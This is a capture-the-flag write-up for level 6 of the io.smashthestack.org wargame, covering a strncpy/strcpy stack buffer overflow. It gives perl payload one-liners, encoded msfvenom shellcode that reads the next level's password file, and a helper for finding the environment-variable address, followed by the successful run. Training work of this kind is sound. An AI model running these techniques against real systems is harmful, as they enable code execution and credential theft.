Level 6 from
io.smashthestack.org:
Input templates:
first: AAAAAAAAAAAAAAAAAAAA (20 + \n)
last: BBBBBBBBBBBBBBCCCCC (19 + \n)
If input is greater than 20, the strncpy() in prompt_name() will truncate the string and it won't slap on a \0.
In prompt_full_name(), after reading both prompts, first = first + last, so the first strcpy() will copy 39 bytes into full name, plus 1 space, then 19 more bytes from the second strcpy() (enough to overwrite EIP).
Note: Need to fill the first read()'s buffer completely, else the second read() will pick up where it left off, mucking things up. New input template:
perl -e 'print "AAAAAAAAAAAAAAAAAAAA\n" . "Z" x 4075 . "BBBBBBBBBBBBBB\x01\x02\x03\x04C\n"' > in
Put shellcode into EGG environment variable, shellcode was very picky (no actual shells allowed):
level6@io:/tmp/dennis6$ cat sc.pl
my $nops = "\x90" x 50;
#dennis@ipa:~/msf3$ ./msfvenom -p linux/x86/exec -f pl -b '\x00' CMD='cat /home/level7/.pass'
#[*] x86/shikata_ga_nai succeeded with size 85 (iteration=1)
my $sc =
"\xdb\xd3\xd9\x74\x24\xf4\xbb\xc6\x34\x4f\xa3\x58\x29\xc9" .
"\xb1\x0f\x31\x58\x19\x83\xe8\xfc\x03\x58\x15\x24\xc1\x25" .
"\xa8\xf0\xb3\xe8\xc8\x68\xe9\x6f\x9c\x8f\x99\x40\xed\x27" .
"\x5a\xf7\x3e\xd5\x33\x69\xc8\xfa\x96\x9d\xdd\xfc\x16\x5e" .
"\x81\x9d\x62\x7e\x6a\x35\xe4\x13\x11\xea\x96\x8e\xaf\x91" .
"\x0a\x66\x7f\x77\xa3\xe9\x0c\xf4\x43\xbd\xa1\x73\xa2\x8c" .
"\xc6";
print $nops.$sc
level6@io:/tmp/dennis6$ export EGG=`perl sc.pl`
Get address of the EGG environment variable:
level6@io:/tmp/dennis6$ cat le.c
#include
/* progname must be the same length as /levels/level06 */
int main()
{
char *envaddr;
envaddr = getenv("EGG");
printf("EGG is at %p\n", envaddr);
}
>>> len("/levels/level06")
15
>>> len("/tmp/dennis6/le")
15
level6@io:/tmp/dennis6$ ./le
EGG is at 0xbffffe97
Adjust the input template with return address:
level6@io:/tmp/dennis6$ perl -e 'print "AAAAAAAAAAAAAAAAAAAA\n" . "Z" x 4075 . "BBBBBBBBBBBBBB\x97\xfe\xff\xbfC\n"' > exp
level6@io:/tmp/dennis6$ /levels/level06 < exp
Please enter your first name:
Please enter your last name:
Welcome, AAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBB???C BBBBBBBBBBBBBB???C
shhh don't snitch
